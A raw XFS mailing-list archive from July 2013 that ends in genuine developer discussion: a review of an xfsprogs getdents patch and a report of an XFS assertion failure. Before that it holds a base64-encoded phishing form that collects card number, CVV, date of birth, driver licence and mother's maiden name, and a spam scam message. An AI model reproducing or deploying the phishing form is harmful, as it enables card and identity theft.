LXNlcmlmIiBzaXplPSIyIj5BZGRyZXNzOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAg ICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUz NTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9c3RyZWV0IG9ua2V5dXA9Y2hl Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xNyBuYW1lPXN0cmVl dD4NCiAgICAgICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RS Pg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+ PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIg Y29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPlN1YnVyYjo8 L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29s b3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAg PElOUFVUIGlkPXN1YnVyYiBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4 TGVuZ3RoPTUwIHNpemU9MTAgbmFtZT1zdWJ1cmI+DQogICAgICAgICAgICAgICAgICA8L0ZP TlQ+PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAg ICAgICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxm b250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAg ICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj5TdGF0ZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAg ICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1 MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIGlkPXN0YXRlIG9ua2V5dXA9Y2hl Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xMCBuYW1lPXN0YXRl Pg0KICAgICAgICAgICAgICAgICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+ DQogICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48 Yj48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBj b2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+UG9zdGFsIA0K ICAgICAgICAgICAgICAgICAgQ29kZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAg ICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1 NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIG9ua2V5cHJlc3M9InJldHVybiBudW1i ZXJzb25seSh0aGlzLCBldmVudCkiIGlkPXppcCBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhp cy52YWx1ZSkgbWF4TGVuZ3RoPTQgc2l6ZT01IG5hbWU9emlwPg0KICAgICAgICAgICAgICAg ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48Yj48Zm9udCBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZGMDAwMCI+Kjwv Zm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIy Ij4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+RHJpdmVycyANCiAgICAgICAgICAgICAgICAg IExpY2VuY2UgTnVtYmVyOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQg d2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQog ICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9ZHJpdmVyIG9ua2V5dXA9Y2hlY2tMZW4odGhp cyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9MTAgc2l6ZT0xMiBuYW1lPWRyaXZlcj4NCiAgICAg ICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFy aWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPk1vdGhlcidzIA0KICAgICAg ICAgICAgICAgICAgTWFpZGVuIE5hbWU6PC9mb250PjwvYj48L1REPg0KICAgICAgICAgICAg ICAgIDxURCB3aWR0aD0iNzkwIiBiZ2NvbG9yPSIjRTJENUZGIj48Rk9OVCBjb2xvcj0jNTM1 NTQ3PiANCiAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD1uYW1lIG9uS2V5VXA9Y2hlY2tM ZW4odGhpcyx0aGlzLnZhbHVlKSBzaXplPTE3IG5hbWU9bW1uPg0KICAgICAgICAgICAgICAg ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4mbmJzcDs8 L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAg ICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMt c2VyaWYiIHNpemU9IjIiPkRhdGUgDQogICAgICAgICAgICAgICAgICBvZiBCaXJ0aDo8L2Zv bnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9 IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlu cHV0IGlkPWRvYiBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3Ro PTEwIHNpemU9MTAgbmFtZT1kb2I+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4oZGQvbW0v eXl5eSk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAg ICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTM1OD48Yj48Zm9udCBm YWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZG MDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlm IiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJp YWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+Q2FyZCANCiAgICAgICAgICAg ICAgICAgIE51bWJlcjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdp ZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAg ICAgICAgICAgICAgICAgPGlucHV0IG9uS2V5UHJlc3M9InJldHVybiBudW1iZXJzb25seSh0 aGlzLCBldmVudCkiIGlkPWNhcmQgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMudmFsdWUp IG1heGxlbmd0aD0xNiBzaXplPTE3IG5hbWU9Y2FyZD4NCiAgICAgICAgICAgICAgICAgIDxm b250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjEiPigxNiANCiAgICAgICAgICAgICAgICAgIGRpZ2l0cywgbm8gZGFzaGVzIG9yIHNwYWNl cyk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4m bmJzcDs8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0K ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+ PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0K ICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2Es IHNhbnMtc2VyaWYiIHNpemU9IjIiPkV4cGlyYXRpb24gDQogICAgICAgICAgICAgICAgICBE YXRlOjwvZm9udD48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5MCIg Ymdjb2xvcj0iI0UyRDVGRiI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAg ICAgICA8aW5wdXQgaWQ9ZXhwIG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVlKSBz aXplPTYgbmFtZT1leHA+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5h LCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obW0veXkpPC9mb250 PjwvZm9udD48L3RkPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8dHI+ IA0KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWws IEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2Zv bnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+ IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPkNWVjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAg ICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9y PSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlucHV0IGlkPWN2diBvbktleVVwPWNo ZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgdHlwZT1wYXNzd29yZCBtYXhsZW5ndGg9MyBzaXpl PTMgdmFsdWU9IiIgbmFtZT1jdnY+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obGFzdCAN CiAgICAgICAgICAgICAgICAgIDMgZGlnaXRzIG9uIHRoZSBiYWNrIG9mIHlvdXIgY2FyZCk8 L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTQwMD4mbmJz cDs8L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8VFI+IA0KICAg ICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4NCiAgICAgICAgICAgICAgICAgIDxwPjxi cj4NCiAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPk5PVEU6PC9m b250PiANCiAgICAgICAgICAgICAgICAgICAgSWYgeW91ciBpbmZvcm1hdGlvbiBpcyBpbmNv cnJlY3QgeW91ciBhY2NvdW50IHdpbGwgbm90IGJlIA0KICAgICAgICAgICAgICAgICAgICBj cmVkaXRlZC48L2I+PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg ICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8L1RCT0RZPiANCiAgICAgICAgICAgIDwv VEFCTEU+DQogICAgICAgICAgICA8UD48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVs dmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIj48YnI+DQogICAgICAgICAgICAgIFdoZW4g eW91IGZpbmlzaGVkIHRvIGNvbXBsZXRlIHRoZSBmb3JtIHBsZWFzZSBjbGljayAmcXVvdDs8 Yj5ORVhUPC9iPiZxdW90OyANCiAgICAgICAgICAgICAgaW4gdGhlIGJvdHRvbSByaWdodCBj b3JuZXIgaW4gb3JkZXIgdG8gY29udGludWUuPC9mb250PjwvUD4NCiAgICAgICAgICA8L0RJ Vj48L0RJVj4NCjxESVYgY2xhc3M9d2l6YXJkTmF2IGlkPWN0bDAwX21haW5Db250ZW50X0J1 dHRvblBhbmVsPg0KPERJViBjbGFzcz1yaWdodCBpZD1jdGwwMF9tYWluQ29udGVudF9uZXh0 QnV0dG9uUGFuZWw+DQo8RElWIGNsYXNzPSJidG5OZXh0IGJ0bmJnIiBpZD1jdGwwMF9tYWlu Q29udGVudF9OZXh0QnV0dG9uX3dyYXBwZXI+DQo8RElWIGNsYXNzPWJ0bnQ+DQo8RElWIGNs YXNzPWJ0bnI+DQo8RElWIGNsYXNzPWJ0bmI+DQo8RElWIGNsYXNzPWJ0bmw+DQo8RElWIGNs YXNzPWJ0bnRsPg0KPERJViBjbGFzcz1idG50cj48QSBvbmNsaWNrPSJyZXR1cm4gc2xvYm96 KCkiIGhyZWY9ImphdmFzY3JpcHQ6IHN1Ym1pdGZvcm0oKSI+PElNRyBoZWlnaHQ9MjUgc3Jj PSJodHRwOi8vMjAxLjgyLjkuMTAwLy9kYXRhL29wZW53ZWJtYWlsL2ltYWdlcy9maWxlL2lt Zy9ueHQuanBnIiB3aWR0aD02MCBib3JkZXI9MD48L0E+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PFNQQU4gY2xh c3M9ZXJyb3JJbmRpY2F0b3IgaWQ9Y3RsMDBfbWFpbkNvbnRlbnRfY3RsMTQ3IHN0eWxlPSJE SVNQTEFZOiBub25lOyBDT0xPUjogcmVkIj48L1NQQU4+PElOUFVUIHR5cGU9aGlkZGVuIHZh bHVlPXRydWUgbmFtZT1zY3JpcHRpbmdvbj4gDQo8RElWIGNsYXNzPWFuYWx5dGljc1BGIGlk PWN0bDAwX21haW5Db250ZW50X2FuYWx5dGljc1BGPjxJTUcgaWQ9Y3RsMDBfbWFpbkNvbnRl bnRfYW5hbHl0aWNzSW1nIHN0eWxlPSJCT1JERVItVE9QLVdJRFRIOiAwcHg7IEJPUkRFUi1M RUZULVdJRFRIOiAwcHg7IEJPUkRFUi1CT1RUT00tV0lEVEg6IDBweDsgQk9SREVSLVJJR0hU LVdJRFRIOiAwcHgiIGFsdD0iIiBzcmM9Imh0dHA6Ly8yMDEuODIuOS4xMDAvL2RhdGEvb3Bl bndlYm1haWwvaW1hZ2VzL2ZpbGUvaW1nL2FiYi5naWYiPjwvRElWPjwvRk9STT48IS0tIE9t bml0dXJlIExvZ2dpbmcgLS0+PCEtLSBFbmQgb2YgT21uaXR1cmUgY29udGVudCB0YWcgLS0+ PC9ESVY+PC9ESVY+PC9CT0RZPjwvSFRNTD4= ------=_NextPart_000_0012_B18A5C4D.BEF286A0-- From monicajoens20@yahoo.es Mon Jul 15 12:05:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.5 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 50FA17F37 for ; Mon, 15 Jul 2013 12:05:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 00722AC002 for ; Mon, 15 Jul 2013 10:05:11 -0700 (PDT) X-ASG-Debug-ID: 1373907910-04bdf0245d04530001-NocioJ Received: from mout.gmx.net (mout.gmx.net [212.227.17.22]) by cuda.sgi.com with ESMTP id Y7YhrRjxFG0yakuz for ; Mon, 15 Jul 2013 10:05:10 -0700 (PDT) X-Barracuda-Envelope-From: monicajoens20@yahoo.es X-Barracuda-Apparent-Source-IP: 212.227.17.22 Received: from 3capp-gmx-bs11.server.lan ([172.19.170.62]) by mrigmx.server.lan (mrigmx002) with ESMTP (Nemesis) id 0Lyxby-1U3leh1pXk-014Clg; Mon, 15 Jul 2013 19:01:03 +0200 Received: from [196.207.233.149] by 3capp-gmx-bs11.server.lan with HTTP; Mon Jul 15 19:01:03 CEST 2013 MIME-Version: 1.0 Message-ID: From: monicajoens20@yahoo.es Subject: HI Content-Type: text/html; charset=UTF-8 X-ASG-Orig-Subj: HI Date: Mon, 15 Jul 2013 19:01:03 +0200 (CEST) Importance: normal Sensitivity: Normal X-Priority: 3 X-Provags-ID: V03:K0:3GTCKxnRQ87FeeRYCsYw8BTCdMXrEmhDUc75k6QHuSG U3mS4iVuBxDAxyBmWocVwHUGgcrfq3mmGQ40JHstHw99sWgTU3 zsL9XR3FzOCEjvqjCyzmGRGd7yllQS56OX2+LJZusnGCVsgjMC kWjkwdJ5KSBDO17ivQR7+gRfh9Uzisb58NeoWviOOX7djqFFUo KvULs9XCIomxoJXqv67J4BIVfFmdZ1brKAhIjuqz8ufZ0a6KEX inBDr2zzD47sEcRkP3FAP2rgtDHyszSDZgwdmyejj9yy58zEpy pjArXk= X-Barracuda-Connect: mout.gmx.net[212.227.17.22] X-Barracuda-Start-Time: 1373907910 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 1.21 MISSING_HEADERS Missing To: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:;
    Hello, how are you my name is miss monica i want to be your friend, and all so as business partiners,if you feel the same way i feel contact me in my email
     
     
    From zab@redhat.com Mon Jul 15 13:38:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF6BB7F37 for ; Mon, 15 Jul 2013 13:38:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CE8EAC002 for ; Mon, 15 Jul 2013 11:38:48 -0700 (PDT) X-ASG-Debug-ID: 1373913526-04cbb0468fffbaa0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 16xBieNYQSGgICCL for ; Mon, 15 Jul 2013 11:38:47 -0700 (PDT) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6FIckX9005251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 15 Jul 2013 14:38:46 -0400 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6FIcjp3027490 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 15 Jul 2013 14:38:46 -0400 Date: Mon, 15 Jul 2013 11:38:45 -0700 From: Zach Brown To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs/io: add getdents command Message-ID: <20130715183845.GS25414@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs/io: add getdents command References: <1373567034-7534-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373567034-7534-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373913526 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > +ifeq ($(PKG_PLATFORM),linux) > +CFILES += getdents.c > +endif I'd make a real test for getdents() rather than tying it to Linux. Just copy what's done for sync_file_range :). > +struct linux_dirent { > + unsigned long d_ino; /* Inode number */ > + unsigned long d_off; /* Offset to next linux_dirent */ > + unsigned short d_reclen; /* Length of this linux_dirent */ > + char d_name[]; /* Filename (null-terminated) */ > +}; If we're only going to use one syscall interface, I'd use getdents64(). struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; But it could also be useful to see the native 'long' interface for 32bit apps, though, say if you're trying to debug ext4 htree d_off values which are magically truncated for 32bit compat tasks. > +static void > +dump_dir_buffer( > + struct linux_dirent *dirp, > + long long offset, > + long long length) > +{ > + while (length > 0) { > + printf("%08llx: 0x%lx (%s)\n", > + offset, dirp->d_ino, dirp->d_name); > + > + offset = dirp->d_off; > + length -= dirp->d_reclen; > + > + dirp = (struct linux_dirent *) ((char *) dirp + dirp->d_reclen); > + } > +} You could also print out d_type. In getdents64() it's a proper struct member, in the bad old 'long' interface it's hidden in padding after the null in d_name. It'd be nice to see d_off for the last entry. btrfs, for example, sets it to CRAZY and that can be good to know. In the past it has caused 32bit glibc to return -EOVERFLOW when reading entries from getdents64() whose d_off overflowed 32bit off_t. Interestingly, notice that with getdents() you don't know what the offset of the first entry is. You just know the offset that you started reading from and the offset of the next entry. - z (*throws another bag of nickels in the readdir-design-disaster jar*) From davej@redhat.com Mon Jul 15 14:58:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7226E7F37 for ; Mon, 15 Jul 2013 14:58:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 58DEF304051 for ; Mon, 15 Jul 2013 12:58:14 -0700 (PDT) X-ASG-Debug-ID: 1373918291-04cb6c2a42d5e390001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UOoOhX5MmV5tGhrg for ; Mon, 15 Jul 2013 12:58:11 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6FJw87K030525 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 15 Jul 2013 15:58:08 -0400 Received: from gelk.kernelslacker.org (ovpn-113-167.phx2.redhat.com [10.3.113.167]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6FJw2mn023925 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 15 Jul 2013 15:58:08 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6FJw1TM012729; Mon, 15 Jul 2013 15:58:01 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6FJw0KN012725; Mon, 15 Jul 2013 15:58:00 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Mon, 15 Jul 2013 15:58:00 -0400 From: Dave Jones To: Dave Chinner Cc: Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130715195800.GD1706@redhat.com> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Mail-Followup-To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20130712023930.GA6473@redhat.com> <20130713020030.GG3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130713020030.GG3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373918291 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Jul 13, 2013 at 12:00:30PM +1000, Dave Chinner wrote: > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > .... > > So, it's not clear what has caused this yet. Is it reproducable? Just hit it again on the same machine. > would be good to get a trace of lookup vs addname events from XFS, > too (i.e. all the xfs_dir* and xfs_da* events) so we can see if the > 